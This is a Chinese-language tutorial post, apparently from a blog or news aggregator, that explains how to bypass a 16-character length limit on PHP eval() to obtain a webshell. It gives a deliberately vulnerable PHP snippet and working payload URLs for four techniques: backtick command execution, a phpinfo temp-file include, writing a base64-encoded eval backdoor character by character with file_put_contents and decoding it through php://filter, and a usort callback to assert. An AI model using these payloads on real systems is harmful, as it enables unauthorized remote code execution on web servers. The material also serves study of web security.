当前位置: 首页 > news >正文

EVAL长度限制突破

php,eval函数参数限制在16个字符的情况下,如何拿到webshell?

<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param,'eval') === false && stripos($param,'assert') === false)
{eval($param);
}

一、`$_GET[1]`

使用:?param=echo `$_GET[1]`;&1=whoami

需要用Linux系统的环境,因为windows系统可能解析不了`小斜杠

二、include$_GET[1];

phpinfo();==>$FILES[file][tmp_name]==>include

这个技巧是怎么利用的呢

这个利用必须要一个phpinfo的一个界面

文件包含里要用

有phpinfo.php的页面

然后用脚本在phpinfo里不断上传post,垃圾数据,大型文件,然后让它生成临时文件

找到临时文件的位置,然后在1的这个位置输入进去

相当于include把这个文件包含进来了

在真实的环境下利用率不是很高,因为有需要有phpinfo.php页面

三、$_GET[1](N,P,8);

PD9waHAgZXZhbCgkX1BPU1RbOV0pOw        ---(写入N文件  )

base64解码是<?php eval($_POST[9]);

所以1是接的值是<?php eval($_POST[9]);

让include包含它去执行<?php eval($_POST[9]);

hua.php?1=file_put_contents&param=$_GET[1](N,P,8);

hua.php?1=file_put_contents&param=$_GET[1](N,D,8);

hua.php?1=file_put_contents&param=$_GET[1](N,w,8);

期待的结果是将(PD9waHAgZXZhbCgkX1BPU1RbOV0pOw)一个一个追加到N文件中

file_put_contents中有一个参数可以进行追加就是FILE_APPEND,

但是如果?1=file_put_contents&param=$_GET[1](N,P,FILE_APPEND);长度超过了限制

那这里怎么办呢,是否有其他的代替FILE_APPEND同样有追加的效果

php中c语言的底层代码数字8就是表示追加

为什么追加base64编码呢不直接追加<?php eval($_POST[9]);呢?

file_put_contents不能追加<字符

hua.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

使用php://filter/的伪协议进行base64转码,然后用include包含文件来执行传参9 的值

这里用到1=file_put_contents是为了赋值,摆脱限长

file_put_contents是写文件

http://127.0.0.1/hua.php?1=file_put_contents&param=$_GET[1](N,P,8);

四、usort(...$_GET);

php5.6+变长参数==>usort回调后门==>任意代码执行

hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert

那什么是变长参数?

使用 ... 运算符进行参数展开

目前usort可以接到(...$_GET)的传参,...$_GET可以传多个不同的传参

uksort(array &$array, callable $callback): true

前者是数组,后者是回调函数

用burpsuite

手动修改post请求需要加Content-Type:application/x-www-form-urlencoded

添加:param=usort(...$_GET);

php7.3的版本不可以使用动态的包含文件

用该url抓包hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert

修改传参类型改为POST传参

这里post需要添加Content-Type:头部字段

请求后发现一句话解析成功

相关文章:

  • 探索 JavaScript 中的 Promise 高级用法与实战
  • 研究生面试常见问题
  • EDID结构
  • 第六章:6.6输入以下的杨辉三角形,要求输出10行
  • 嵌入式系统中Flash操作全面解析与最佳实践
  • 通过 Tailwind CSS 自定义样式 实现深色模式切换
  • JavaScript 所有操作数组的方法
  • 并发设计模式实战系列(1):半同步/半异步模式
  • index: 自动化浏览器智能体
  • React 中如何获取 DOM:用 useRef 操作非受控组件
  • 基于n8n的AI应用工作流原理与技术解析
  • 【LLMs篇】09:白话PPO训练
  • Day53 二叉树的层序遍历
  • 【深度学习】【目标检测】【Ultralytics-YOLO系列】YOLOV3核心文件yolo.py解读
  • GN ninja 工程化构建例程
  • yarn的三大组件及各自的作用
  • 进阶篇|CAN FD 与性能优化
  • uboot下读取ubifs分区的方法
  • leetcode刷题日记——单词规律
  • webgl入门实例-11模型矩阵 (Model Matrix)基本概念
  • 东方富海陈玮: 什么样的创业者能让天使投资人愿意下注
  • 七大外贸省市,靠什么撑起一季度的出口?
  • 聚焦客户真实需求,平安人寿重磅推出“添平安”保险+服务解决方案
  • 文化中国行|1500年水镇枫泾有座丁聪美术馆
  • 管理规模归零,华夏基金“ETF规模一哥”张弘弢清仓卸任所有产品
  • 上海市市长龚正会见英伟达总裁黄仁勋,共创科技发展美好未来